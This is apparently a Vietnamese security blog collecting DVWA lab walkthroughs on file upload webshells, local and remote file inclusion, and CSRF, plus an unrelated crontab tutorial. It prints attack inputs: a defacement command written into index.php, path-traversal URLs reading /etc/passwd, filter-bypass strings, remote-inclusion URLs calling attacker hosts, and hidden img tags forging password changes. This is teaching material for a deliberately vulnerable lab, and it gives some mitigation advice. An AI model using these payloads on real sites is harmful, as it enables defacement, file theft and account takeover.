Pages

DVWA File Upload (Low level)


I. Nguy cơ từ File Upload lên hệ thống

Các chức năng upload file, dữ liệu lên server nếu không kiểm soát tốt dẫn đến upload các file không hợp lệ(như webshell, file cấu hình,...)

II. Tấn công DVWA với File Upload

Trước hết tạo 1 file php. Ví dụ như file shell.php với nội dung sau.


Sau đó upload file lên trang DVWA. Khi đó chúng ta sẽ thấy.

File đã được upload lên với đường dẫn :


Bây giờ để chạy file shell.php chúng ta click vào shell.php
Và mà hình sẽ xuất hiện.

Đến đây thì chúng ta có thể mặc sức khai thác các thông tin mà chúng ta muốn.
ví dụ:


Chúng ta thử dùng kết quả trên để tấn công trang web nhé.
Ở đây tôi đã tìm thấy trang chủ của DVWA là index.php và chung ta sẽ hack trang này bằng cách như   HACKED BY THUDV (lưu ý: chúng ta backup file index.php trước, bởi vì chúng ta sẽ xóa nội dung và lúc này nội dung trang web sẽ là HACKED BY THUDV
Và trong  shell.php, chúng ta đưa đoạn code sau vào trong text box
cd ..; cd ..; echo "<font color="red"><center><h1>HACKED BY THUDV</h1></center></font><br>"> index.php

Khi chúng ta chạy command xong. Chúng ta vào lại chính của DVWA để kiểm tra:
http://dvwa_lab.com/dvwa/index.php

Lúc này chúng ta sẽ thấy:



Ngoài ra
Shell bên trên chúng ta tạo ta chỉ là 1 shell đơn giản. Chúng ta có thể sử dụng các shell được cung
cấp sẵn trên internet như là c99.php, r57.php.
Chúng được viết với hơn 3000 ngàn dòng và có rất nhiều chắc năng giúp chúng ta tấn công máy
chủ. Các bạn hãy tự tìm hiểu nhé. Lợi hại quá đúng không, nhưng chỉ dùng để học hỏi và tăng sự
hiểu biết thôi nhé, đừng đi hại người :)

thudinh Network and Security

DVWA File Inclusion (high level)


Tiếp đến chúng ta sẽ thử sức với mức độ high.
Đây là phần code

 Ở đây đã kiểm tra đầu vào có phải là các file như file*include.php không. Nếu không đúng thì sẽ báo lỗi ERROR: File not found!
Vì vậy, chúng ta thử xem 1 tập tin file4.php, (đúng với giá trị được kiểm tra xem thế nào.)

Như thế là ở mưc high vẫn có kẽ hở. Muốn không thể khai thác thì chúng ta phải code như sau.

thudinh Network and Security

DVWA File Inclusion ( medium level)


Trong bài trước, ở cấp độ Low, chúng ta đã thực hiện tống công bằng LFI và RFI. Code của DVWA cho cấp độ này như sau.

Như vậy ở cấp độ này không có bất cứ sự kiểm tra đầu vào nào.

Ở mức độ Medium này thì sao ?

Hàm str_replace() sẽ xóa tất cả các giá trị được gán như là http:// ; https://  và các ký tự như : ../ ..\ (cho phép người dùng thoát khỏi thư mục). và thay thế bằng giá trị " "; sau đó nó sẽ trả lại trang ban đâu cho người dùng

Cấu trúc str_replace($chuoi_tim,$chuoi_thay_the,$chuoi_nguon) là để tìm kiếm và thay thế.
Func_string_Str_replace

Khai thác RFI

Như vậy để vượt qua sự kiểm tra của hàm str_replace() thì chúng ta làm thế nào
http://dvwa_lab.com/dvwa/vulnerabilities/fi/?page=htthttp://p://thudv.com:8000/file.html

khi hàm str_replace() kiểm tra nó sẽ thấy giá trị được gán có từ khóa http:// thì sẽ được thay thế bằng "" . Vậy lúc này trang sẽ được trả về như sau

http://dvwa_lab.com/dvwa/vulnerabilities/fi/?page=http://thudv.com:8000/file.html


Còn về khai thác LFI thì sao ?

Cũng tương tự RFI chúng ta thực hiện như sau
mỗi cặp ../ chúng ta chuyển thành . ../ ./ 

==> link khai thác chúng ta sẽ là
http://dvwa_lab.com/dvwa/vulnerabilities/fi/?page=..././..././..././..././..././..././etc/passwd

thudinh Network and Security

DVWA File Inclusion (low level)


Trong phần khai thác lỗ hổng file inclusion chúng ta sẽ có 2 phần: Local File Inclusion và Remote File Inclusion. Nhưng trước tiên, chúng ta hay kiểm tra trang DVWA cho phần file inclusion như thê nào.
Xem thêm https://thudinh.blogspot.com/2017/09/hieu-ve-tan-cong-khai-thac-lo-hong-file.html để rõ hơn về File Inclusion


Link chúng ta thấy trên browser sẽ là
http://dvwa_lab.com/dvwa/vulnerabilities/fi/?page=include.php
? là dấu hiệu bắt đầu các tham số được sắp xếp
= chỉ ra rằng tham sô được gán với 1 giá trị
Bây giờ chúng ta click lần lượt vào từng [file1.php][file2.php][file3.php] sau đó quan sát thay đổi.
http://...page=file1.php ; page=file2.php ; page=file3.php
Như chúng ta thấy, tham sô trang lấy 2 tên tập tin khác nhau theo giá trị file nhận được. Các tập tin đều nằm trong http://dvwa_lab.com/dvwa/vulnerabilities/fi/ thư mục của trang hiện tại được include trong include.php. Cơ chế này gọi là file inclusion.

Tấn công LFI 

Thư mục hiện hành lưu trữ trên server web DVWA là  /var/www/html/dvwa/vulnerabilities/fi/
Giờ tôi muốn truy cập tập tin passwd trong thư mục /etc thì làm thế nào. Hãy nhìn vào cây thư mục của Linux để có thể hiểu rõ hơn.

Như bạn thấy thư mục etc nằm trong trong / . Vì vậy muốn tới được thư mục này chúng ta phải đến thư mục cha, trong khi chúng ta đang ở thư mục này  /var/www/html/dvwa/vulnerabilities/fi/ 
Chúng ta đi tới thư mục cha như sau:
fi ../
vulnerabilities ../
dvwa ../
html ../
www ../
var ../
Vậy chúng ta sử dụng 6 lệnh ../  thì chúng ta sẽ đi đến được thư mục / (thư mục root)
Chúng ta bây giờ truy cập thông tin passwd sẽ là
../../../../../../etc/passwd
và đường link sẽ làhttp://dvwa_lab.com/dvwa/vulnerabilities/fi/?page=../../../../../../etc/passwd

Vậy là chúng ta đã tấn công Local File Inclusion(LFI). Thông tin lấy được username chúng ta có thể phục vụ cho tấn công Brute Force chẳng hạn.
Hoặc chúng ta có thể lấy bất cứ thông tin nào khác như access.log, error.log ...

Tấn công Remote File Inclusion (RFI)

Về hinh
Chúng ta sẽ sử dụng tập tin từ 1 máy chủ bên ngoài đưa vào thực thi.
Giả sử tập tin sau: file.html
Ở đây chúng ta sử dụng tham số như sau:
http://dvwa_lab.com/dvwa/vulnerabilities/fi/?page=http://
ví dụ: http://thudv.com:8000/file.html tham số trang là 1 liên kết ngoài trong khi LFI đang lấy thông tin tập tin chứa trên máy chủ web.

thudinh Network and Security

Hiểu về tấn công khai thác lỗ hổng File Inclusion


Lỗ hổng File Inclusion cho phép tin tặc truy cập trái phép vào những tập tin nhạy cảm trên máy chủ web hoặc thực thi các tệp tin độc hại bằng cách sử dụng chức năng “include”. Lỗ hổng này xảy ra do cơ chế kiểm tra đầu vào không được thực hiện tốt, khiến tin tặc có thể khai thác và chèn các dự liệu độc hại.

Hàm ‘Include’
Trước khi nói về chi tiết lỗ hổng, chúng ta cần hiểu sơ qua về một lời gọi hàm ‘include()’. Toàn bộ nội dung trong một file cụ thể sẽ được sao chép vào một file khác chứa lời gọi ‘include’. Phương thức này được sử dụng nhằm tránh việc code lặp và có thể sử dụng bất kì lúc nào. Lập trình viên thường sử dụng hàm include() nhằm thêm những dữ liệu, tệp tin mã nguồn dùng chung của các tệp tin trong ứng dụng. Những nơi thường được sử dụng như footers, headers, menu files … Dưới đây là một ví dụ đơn giản về hàm include.
1. Một menu trang như sau
menu.php:
<?php
echo ‘<a href=”/home.asp”>HOME</a>
<a href=”/details.asp”>DETAILS</a>
<a href=”/contact.asp”>CONTACT US</a>;
?>
2. Menu trang này có thể được sử dụng lại trong tất cả các trang của ứng dụng bằng cách dùng hàm include()
abc.php
<html>
<body>
<div class =”menu”><?php include ‘menu.php';?></div>
<p>WELCOME</p>
</body>
</html>
3. Giờ thì file menu.php đã được bao hàm trong file abc.php, bất cứ khi nào abc.php được truy cập, nội dung trong file menu.php sẽ được sao chép vào abc.php và thực thi.
Tuy nhiên vấn đề này có thể bị tin tặc khai thác và tấn công trở lại website gây những hậu quả rất nguy hiểm. Đây là 2 lỗ hổng chính rất nguy hiểm liên quan đến hàm include()
  • Remote file inclusion
  • Local file inclusion
Lưu ý: Trong PHP có 1 số hàm cũng có chức năng tương tự, hay các hàm do người lập trình tự viết như: Inlude_once(), require(), require_once()…
Lỗ hổng Remote file inclusion
RFI cho phép tin tặc include và thực thi trên máy chủ mục tiêu một tệp tin được lưu trữ từ xa. Tin tặc có thể sử dụng RFI để chạy một mã độc trên cả máy của người dùng và phía máy chủ. Ảnh hưởng của kiểu tấn công này thay đổi từ đánh cắp tạm thời session token hoặc các dữ liệu của người dùng cho đến việc tải lên các webshell, mã độc nhằm đến xâm hại hoàn toàn hệ thống máy chủ.
Lỗ hổng Remote file inclusion trong PHP
PHP có nguy cơ cao bị tấn công RFI do việc sử dụng lệnh include rất nhiều và thiết đặt mặc định của server cũng ảnh hưởng một phần nào đó. Để bắt đầu chúng ta cần tìm nơi chứa file include trong ứng dụng phụ thuộc vào dữ liệu đầu vào người dùng.
1. Một trong những nơi chứa lỗ hổng có thể như ví dụ dưới đây, giá trị của ‘testfile’ được cung cấp bởi người dùng:
www.victim_site.com/abc.php?testfile=example
2. Mã nguồn PHP chứa lỗ hổng:
$test = $_REQUEST[“testfile”];
Include($test.”.php”);
3. Thông số của ‘testfile’ được lấy từ phía người dùng. Đoạn mã sẽ lấy giá trị ‘testfile’ và trực tiếp include nó vào file PHP.
4. Sau đây là ví dụ về một hướng tấn công được sử dụng đối với đoạn mã trên:
www.victim_site.com/abc.php?test=http://www.attacker_site.com/attack_page
File “attack_page” được bao hàm vào trang có sẵn trên máy chủ và thực thi mỗi khi trang “abc.php” được truy cập. Tin tặc sẽ đưa mã độc vào “attack_page” và thực hiện hành vi độc hại.
Remote file inclusion trong JSP
1. Giả sử một kịch bản nơi một trang JSP sử dụng “c:import” nhằm nhập một tên tệp tin nào đó do người dùng cung cấp vào trang JSP hiện tại thông qua biến đầu vào ‘test’:
<c:import url=”<%= request.getParameter(“test”)%>”>
Tấn công:
www.victim_site.com/abc.jsp?test=http://www.attackersite.com/stealingcookie.js
2. Script độc hại trong stealingcookie.js sẽ được đưa vào trang của nạn nhân và điều khiển bởi tin tặc.
Tấn công Local file inclusion
Lỗ hổng Local file inclusion nằm trong quá trình include file cục bộ có sẵn trên server. Lỗ hổng xảy ra khi đầu vào người dùng chứa đường dẫn đến file bắt buộc phải include. Khi đầu vào này không được kiểm tra, tin tặc có thể sử dụng những tên file mặc định và truy cập trái phép đến chúng, tin tặc cũng có thể lợi dụng các thông tin trả về trên để đọc được những tệp tin nhạy cảm trên các thư mục khác nhau bằng cách chèn các ký tự đặc biệt như “/”, “../”, “-“.
Local file inclusion trong PHP:
1. Ví dụ đường dẫn sau có thể bị tấn công:
http://victim_site/abc.php?file=userinput.txt
2. Giá trị của biến ‘file’ được lấy vào đoạn mã PHP dưới đây:
<?php
…
include $_REQUEST[‘file’];
…
?>
3. Giờ thì tin tặc sẽ đưa mã độc vào biến ‘file’ để truy cập trái phép vào file trong cùng chủ mục hoặc sử dụng kí tự duyệt chỉ mục như “../” để di chuyển đến chỉ mục khác. Ví dụ tin tặc lấy được log bằng cách cung cấp đầu vào “/apache/logs/error.log” hoặc “/apache/logs/access.log” hay việc đánh cắp dữ liệu liên quan đến tài khoản của người dùng thông qua “../../etc/passwd” trên hệ thống Unix.
Trong một số trường hợp đặc biệt một phần mở rộng mặc định sẽ được thêm vào thông tin được đưa lên từ trình duyệt trước khi đưa vào hàm Include(). Cách tốt nhất tránh những phần mở rộng này là sử dụng byte rỗng kết thúc “” để vượt qua. Đây là cách được các tin tặc sử dụng để thực hiện hành vi độc hại và truy cập bất cứ kiểu file nào.
Ví dụ đầu vào được lấy từ đoạn mã sau và phần mở rộng mặc định là “.php”.
<?php
“include/”.include($_GET[‘testfile’].”.php”);
?>
Nếu tin tặc muốn truy cập một file không phải kiểu “text” chúng sẽ sử dụng một (kí tự byte rỗng sau tên của file.
http://victim_site/abc.php?testfile=../../../../etc/passwd
Tương tự Local file inclusion trong JSP:
1. Giả sử URL dưới đây được yêu cầu trong ứng dụng và biến ‘test’ lấy dữ liệu đầu vào trong lệnh include:
www.victim_site.com/abc.jsp?test=xyz.jsp
Giá trị của biến ‘test’ sẽ được chuyển qua:
…
<jsp:include page=”<%= (String)request.getParameter(\”test\”)%>”>
…
2. Mũi tấn công dành cho đoạn mã trên có thể nằm trong một file database hợp lệ, được sử dụng như một đầu vào. Do có lỗ hổng local file inclusion nằm trong ứng dụng, file database sẽ được include vào trang JSP:
www.victim_site.com/abc.jsp?test=/WEB-INF/database/passwordDB
Khắc phục
Lỗ hổng xảy ra khi việc kiểm tra đầu vào không được chú trọng. Khuyến cáo riêng thì không nên hoặc hạn chế tới mức tối thiểu phải sử dụng các biến từ “User Input” để đưa vào hàm include hay eval.  Trong trường hợp phải sử dụng. với các thông tin được nhập từ bên ngoài, trước khi đưa vào hàm cần được kiểm tra kỹ lưỡng
  1. Chỉ chấp nhận kí tự và số cho tên file (A-Z 0-9). Blacklist toàn bộ kí tự đặc biệt không được sử dụng.
  2. Giới hạn API cho phép việc include file từ một chỉ mục xác định nhằm tránh directory traversal.
Tấn công File Inclusion có thể nguy hiểm hơn cả SQL Injection do đó thực sự cần thiết phải có những biện pháp khắc phục lỗ hổng này. Kiểm tra dữ liệu đầu vào hợp lý là chìa khóa để giải quyết vấn đề.

Tham khảo: 
http://securitydaily.net


thudinh Network and Security

Tổng quát về crontab


1. Cron là gì?

Cron là một tiện ích cho phép thực hiện các tác vụ một cách tự động theo định kỳ, ở chế độ nền của hệ thống. Crontab (CRON TABle) là một file chứa đựng bảng biểu (schedule) của các entries được chạy.
Học VPS mới bổ sung công cụ tạo Crontab với giao diện trực quan, rất dễ sử dụng. Mời các bạn tham khảo.

2. Cron làm việc thế nào?

Một cron schedule đơn giản là một text file. Mỗi người dùng có một cron schedule riêng, file này thường nằm ở /var/spool/cron. Crontab files không cho phép bạn tạo hoặc chỉnh sửa trực tiếp với bất kỳ trình text editor nào, trừ phi bạn dùng lệnh crontab.
Một số lệnh thường dùng:
crontab -e: tạo hoặc chỉnh sửa file crontab 
crontab -l: hiển thị file crontab 
crontab -r: xóa file crontab
Hầu hết tất cả VPS đều được cài đặt sẵn crontab, tuy nhiên vẫn có trường hợp VPS không có. Nếu bạn sử dụng lệnh crontab -l mà thấy output trả lại -bash: crontab: command not found thì cần tự cài crontab thủ công.

Cài đặt crontab

Sử dụng lệnh:
yum install cronie
Start crontab và tự động chạy mỗi khi reboot:
service crond start
chkconfig crond on

3. Cấu trúc của crontab

Một crontab file có 5 trường xác định thời gian, cuối cùng là lệnh sẽ được chạy định kỳ, cấu trúc như sau:
*     *     *     *     *     command to be executed
-     -     -     -     -
|     |     |     |     |
|     |     |     |     +----- day of week (0 - 6) (Sunday=0)
|     |     |     +------- month (1 - 12)
|     |     +--------- day of month (1 - 31)
|     +----------- hour (0 - 23)
+------------- min (0 - 59)
Nếu một cột được gán ký tự *, nó có nghĩa là tác vụ sau đó sẽ được chạy ở mọi giá trị cho cột đó.
Ví dụ:
– Chạy script 30 phút 1 lần:
0,30 * * * * command
– Chạy script 15 phút 1 lần:
0,15,30,45 * * * * command
– Chạy script vào 3 giờ sáng mỗi ngày:
0 3 * * * command

4. Ví dụ cụ thể

Giả sử mình viết một đoạn script sao lưu toàn bộ thư mục /home/domain.com/public_html/ và chuyển file nén .zip vào thư mục /root/ như sau:
#!/bin/bash
zip -r /root/backup_domain.com_$(date +"%Y-%m-%d").zip /home/domain.com/public_html/ -q
Script này lưu lại ở đường dẫn /etc/backup.sh (gán quyền execute – chmod +x nếu là bash script).
Sau đó mình cho script này chạy định kỳ vào 15h thứ Hai và thứ Năm hàng tuần bằng cách tạo một file crontab như sau:
crontab -e
Nhấn o (chữ o) để thêm dòng mới với nội dung:
0 15 * * 1,4 sh /etc/backup.sh
Để lưu lại và thoát bạn nhấn ESC, rồi gõ vào :wq nhấn Enter.
Cuối cùng, nhớ khởi động lại cron daemon:
/etc/init.d/crond restart
Nếu muốn dùng Editor nano sửa cho dễ thì bạn dùng lệnh sau: EDITOR=nano crontab -e
Ví dụ khác
– Để crontab chạy mỗi phút một lần:
* * * * * sh /etc/backup.sh
– Để crontab chạy 24h một lần (vào nửa đêm):
0 0 * * * sh /etc/backup.sh
– Để crontab chạy file PHP 24h một lần:
0 0 * * * /usr/bin/php /var/www/html/reset.php

5. Disable email

Mặc định cron gửi email cho người thực thi cron job, nếu bạn muốn tắt chức năng gửi email này đi thì hãy thêm đoạn sau vào cuối dòng
>/dev/null 2>&1
Ví dụ:
0 15 * * 1,4 sh /etc/backup.sh >/dev/null 2>&1

6. Tạo log file

Để lưu log vào file:
30 18 * * * rm /home/someuser/tmp/* > /home/someuser/cronlogs/clean_tmp_dir.log
Nguồn: https://hocvps.com
thudinh Network and Security

DVWA CSRF Tutorial (Medium Security)


Trong hướng dẫn này, chúng ta tiếp tục thực hiên tấn công CSRF với mức độ Medium.
Nếu bạn chưa thực sự hiểu về CSRF và chưa thực hành ở mức độ Low thì vui lòng xem lại bài trước  tại đây: https://thudinh.blogspot.com/2017/09/dvwa-csrf-tutorial-low-security.html

Nào, bây giờ chúng ta bắt đầu giống với các bước ở mức độ Low.


Lần này, GET request của chúng ta ( thẻ ẩn img HTML) trả về 302. Vì vậy, có 1 vấn đề gì đó không hoạt động.
DVWA có 1 tính năng rất hay đó là cho phép chúng ta xem source code. Điều này cho phép chúng ta học hỏi tốt nhất, thực thế thì sẽ không có trang web nào làm thế. Chúng ta hãy nhìn vào đoạn code bên dưới đây:


Chúng ta thấy nó đã kiểm tra mức độ an toàn trước khi hành động thay đổi password được thực hiện. Nó sẽ kiểm tra HTTP referer và tên server. Nếu tên server hiện tại có trong HTTP referer thì việc thay đổi password tiếp tục. Ngược lại thì báo lỗi.

Suy luận về cách bảo mật này là nếu tên server chứa trong HTTP referer, thì các request đến từ server này.

Nhưng giải pháp này rất dễ dàng bị giả mạo.Chúng ta hãy tìm hiểu về tài liệu phương thức eregi PHP http://php.net/manual/en/function.eregi.php  đang được sử dụng trong code của mức độ medium.


Ở đây tôi đưa ra 1 ví dụ: Tôi có 1 trang web là 0.0.0.0:8000 (đây là trang web xấu - đang muốn dụ nạn nhân truy cập vào) và trang  1 web - mục tiêu tấn công là http://172.16.16.1/dvwa ( giả sử  trang web này tôi gán domain cho nó là dvwa_lab.com). Khi chúng ta truy cập trang 0.0.0.0:8000 và trang web dvwa_lab.com, khi ấy chúng ta tạo request trong script img tag, nó sẽ không làm việc.

Nhưng nếu chúng ta gửi đên 1 request như sau thì sao?   0.0.0.0:800/dvwa_lab.html
Và đây là kết quả.



Lưu ý : chúng ta phải đổi file html (trong Low level là index.html) thành tên dvwa_lab.html trùng với domain của server web cần tấn công.
thudinh Network and Security

DVWA CSRF Tutorial (Low Security)



Trong phần này chúng ta sẽ tỉm hiểu làm thế nào khai thác lỗ hổng CSRF trên DVWA ở mức độ thấp.

I. Tổng quan


Vậy lỗ hổng CSRF là gì ?

CSRF ( Cross Site Request Forgery) là kỹ thuật tấn công bằng cách sử dụng quyền chứng thực của người dùng đối với một website. CSRF là kỹ thuật tấn công vào người dùng, dựa vào đó hacker có thể thực thi những thao tác phải yêu cầu sự chứng thực. Hiểu một cách nôm na, đây là kỹ thuật tấn công dựa vào mượn quyền trái phép.

CSRF còn được gọi là "session riding", "XSRF"

Cách thực tấn công CSRF như thế nào ?

(phần này tham khảo trên Internet)
Các ứng dụng web hoạt động theo cơ chế nhận các câu lệnh HTTP từ người sử dụng, sau đó thực thi các câu lệnh này. Hacker sử dụng phương pháp CSRF để lừa trình duyệt của người dùng gửi đi các câu lệnh http đến các ứng dụng web. Điều đó có thể thực hiện bằng cách chèn mã độc hay link đến trang web mà người dùng đã được chứng thực.
Trong trường hợp phiên làm việc của người dùng chưa hết hiệu lực thì các câu lệnh trên sẽ được thực hiện với quyền chứng thực của người sử dụng. Ta có thể xét ví dụ sau:
  • Người dùng Alie truy cập 1 diễn đàn yêu thích của mình như thường lệ. Một người dùng khác, Bob đăng tải 1 thông điệp lên diễn đàn. Giả sử rằng Bob có ý đồ không tốt và anh ta muốn xóa đi một dự án quan trọng nào đó mà Alice đang làm.
  • Bob sẽ tạo 1 bài viết, trong đó có chèn thêm 1 đoạn code như sau:
<img height="0" width="0" src="http://www.webapp.com/project/1/destroy">
Để tăng hiệu quả che dấu, đoạn mã trên có thể được thêm các thông điệp bình thường để người dùng không chú ý. Thêm vào đó thẻ
img sử dụng trong trường hợp này có kích thước 0x0 pixel và người dùng sẽ không thể thấy được.
  • Giả sử Alie đang truy cập vào tài khoản của mình ở www.webapp.com và chưa thực hiện logout để kết thúc.
    Bằng việc xem bài post, trình duyệt của Alice sẽ đọc thẻ img và cố gắng load ảnh từ www.webapp.com, do đó sẽ gửi câu lệnh xóa đến địa chỉ này.
  • Ứng dụng web ở www.webapp.com sẽ chứng thực Alice và sẽ xóa project với ID là 1. Nó sẽ trả về trang kết quả mà không phải là ảnh, do đó trình duyệt sẽ không hiển thị ảnh.
Ngoài thẻ img, các thẻ html có thể sử dụng kĩ thuật trên có thể là:
<iframe height="0" width="0" src="http://www.webapp.com/project/1/destroy">
<link ref="stylesheet" href="http://www.webapp.com/project/1/destroy" type="text/css"/>
<bgsound src="http://www.webapp.com/project/1/destroy"/>
<background src="http://www.webapp.com/project/1/destroy"/>
<script type="text/javascript" src="http://www.webapp.com/project/1/destroy"/>
Các kĩ thuật CSRF rất đa dạng, lừa người dùng click vào link, gửi email chứa các đoạn mã độc đến người dùng…
Hacker còn có thể che giấu các link ở trên rất khéo léo. Ví dụ trong trường hợp thẻ img, người dùng có thể nhận ra nếu vào đường link chứa trong
<ing src="http://www.webapp.com/project/1/destroy"/>
Tuy nhiên, người dùng sẽ rất có phát hiện nếu hacker dùng đường link như sau:
<img height="0" width="0" src="http://www.ahackersite.com/abc.jpg"/>
và cấu hình lại máy chủ:
Redirect 302/abc.jpg http://www.webapp.com/project/1/destroy"/>
Như vậy người dùng sẽ rất khó để có thể phát hiện, vấn đề trách nhiệm phần lớn thuộc về các website của các nhà cung cấp.
II. Thực hành với DVWA
Vì đây là mức độ bảo mật thấp nên việc tấn công cũng khá đơn giản. 
Trước tiên, chúng ta khi gửi 1 yêu cầu thay dổi password và click submit. Sau đó chúng ta kiểm tra gói HTTP .
 => Chúng ta thấy 1 GET request và các tham số được gửi.
* Kịch bản tấn công là tôi (1 hacker) sẽ tạo ra 1 trang web để nạn nhân truy cập vào. Và đây là 1 website đơn giản tôi tạo để làm LAB. (sử dụng simpleHTTPServer)

Ồ, thoạt nhìn thì như trang web này có vẻ vô hại. Nhưng các bạn hãy nhìn vào source code bên dưới xem thế nào nhé.

Các bạn hãy chú ý vào thẻ img

Thay vì thuộc tính src trỏ tới 1 nội dung hình ảnh (ví dụ .jpeg hoặc png ...) thì tôi lại cho nó trỏ tới điểm thay đổi mật khẩu trên DVWA và thay đổi mật khẩu thành "pwned"
Vì vậy, khi nạn nhân truy cập 1 trang web mà tôi tấn công. Họ không biết bất cứ điều gì đã xảy ra
Nhưng chúng ta nhìn vào Network request dưới đây:

Như vậy, trong thẻ img tôi đã làm cho đã làm cho trình duyệt gửi 1 yêu cầu GET đến điểm thay đổi password. Bởi vì GET request được đến từ trình duyệt của nạn nhân và nạn nhân đã xác thực và nó đã gửi PHPSESSID trong cookie HTTP.
Và bây giờ chúng ta có thể đăng nhập với 1 password mới đó là "pwned"

thudinh Network and Security

Adsense

Translate